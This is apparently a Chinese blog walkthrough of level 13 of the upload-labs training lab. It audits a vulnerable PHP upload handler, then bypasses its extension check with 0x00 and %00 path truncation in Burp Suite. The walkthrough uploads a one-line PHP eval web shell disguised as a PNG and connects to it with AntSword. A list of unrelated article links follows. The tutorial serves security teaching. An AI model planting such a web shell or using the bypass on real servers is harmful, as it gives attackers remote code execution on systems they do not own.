当前位置: 首页 > news >正文

upload-labs第十三关教程

upload-labs第十三关教程

  • 第十三关
  • 一、源代码分析
    • 代码审计
  • 二、绕过分析
    • 1)0x00绕过
      • a.上传eval.png
      • b.使用burpsuite进行拦截
        • 修改之前:
        • 修改之后:
        • 进入hex模块:
      • c.放包
        • 上传成功:
      • d.使用中国蚁剑进行连接
    • 2)%00绕过
      • 上传eval.png,使用Burp suite进行拦截包,添加如下:
        • 修改之后:
      • 放包:
      • 使用中国蚁剑进行连接

第十三关


一、源代码分析

代码审计

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}

与上一关不同的是这里的路径是post请求,也就是%00截断不会通过url自动解码了,得我们手动解码。

 $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

二、绕过分析

1)0x00绕过

a.上传eval.png

<?php @eval($_POST['cmd']); ?>

这个是一个php代码,然后保存为png文件就行了。

b.使用burpsuite进行拦截

修改之前:

在这里插入图片描述

修改之后:

将可控参数那块加入eval.php空格—>选择hex模块—>找到eval.php的位置—>修改空格的十六进制为00

进入hex模块:

在这里插入图片描述

c.放包

上传成功:

在这里插入图片描述
需要注意的是:eval.php背后的一大串会被截断
在这里插入图片描述

d.使用中国蚁剑进行连接

在这里插入图片描述
连接成功。

2)%00绕过

这里就算让我们自己手动解码,快捷键ctrl+shift+u

上传eval.png,使用Burp suite进行拦截包,添加如下:

修改之前和上面的一样

修改之后:

在这里插入图片描述
对…/upload/eval.php%00进行手动解码,快捷键ctrl+shift+u
在这里插入图片描述

放包:

在这里插入图片描述
注意点和上面一样。

使用中国蚁剑进行连接

在这里插入图片描述

相关文章:

  • 微信小程序地图功能详解
  • N32G031时钟配置
  • 《Unity3D高级编程之进阶主程》第一章 C#要点技术(二) - Dictionary 底层源码剖析
  • 【LeetCode 动态规划】买卖股票的最佳时机问题合集
  • 坚持刷题|反转链表
  • 专业技能篇--算法
  • Es 索引查询排序分析
  • Cocos Creator,Youtube 小游戏!
  • C++ Primer 学习 -- Day 2
  • 麒麟系统mate_indicators进程占用内存资源高
  • c++的多态,继承,抽象类,虚函数表,虚函数等题目+分析
  • 5分钟了解单元测试
  • BUU CODE REVIEW 11 代码审计之反序列化知识
  • 【Python】类和对象的深入解析
  • C语言程序设计-11 结构体与共用体
  • 深入了解以太坊
  • 实现windows 窗体的自己画,网上摘抄的,学习了
  • 【跃迁之路】【669天】程序员高效学习方法论探索系列(实验阶段426-2018.12.13)...
  • download使用浅析
  • HashMap ConcurrentHashMap
  • JavaScript创建对象的四种方式
  • Map集合、散列表、红黑树介绍
  • Python利用正则抓取网页内容保存到本地
  • SpringCloud集成分布式事务LCN (一)
  • SpriteKit 技巧之添加背景图片
  • Vue 动态创建 component
  • vue从入门到进阶:计算属性computed与侦听器watch(三)
  • WordPress 获取当前文章下的所有附件/获取指定ID文章的附件(图片、文件、视频)...
  • 计算机在识别图像时“看到”了什么?
  • 前端路由实现-history
  • 我从编程教室毕业
  • 要让cordova项目适配iphoneX + ios11.4,总共要几步?三步
  • 异步
  • ​埃文科技受邀出席2024 “数据要素×”生态大会​
  • # 职场生活之道:善于团结
  • ### Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLTr
  • ###STL(标准模板库)
  • #DBA杂记1
  • #调用传感器数据_Flink使用函数之监控传感器温度上升提醒
  • #我与虚拟机的故事#连载20:周志明虚拟机第 3 版:到底值不值得买?
  • (13)DroneCAN 适配器节点(一)
  • (2024,LoRA,全量微调,低秩,强正则化,缓解遗忘,多样性)LoRA 学习更少,遗忘更少
  • (k8s中)docker netty OOM问题记录
  • (php伪随机数生成)[GWCTF 2019]枯燥的抽奖
  • (二)测试工具
  • (十二)devops持续集成开发——jenkins的全局工具配置之sonar qube环境安装及配置
  • (四)搭建容器云管理平台笔记—安装ETCD(不使用证书)
  • (算法)Game
  • (原创)Stanford Machine Learning (by Andrew NG) --- (week 9) Anomaly DetectionRecommender Systems...
  • (转)利用ant在Mac 下自动化打包签名Android程序
  • (转)清华学霸演讲稿:永远不要说你已经尽力了
  • .describe() python_Python-Win32com-Excel
  • .env.development、.env.production、.env.staging
  • .mysql secret在哪_MYSQL基本操作(上)
  • .NET 同步与异步 之 原子操作和自旋锁(Interlocked、SpinLock)(九)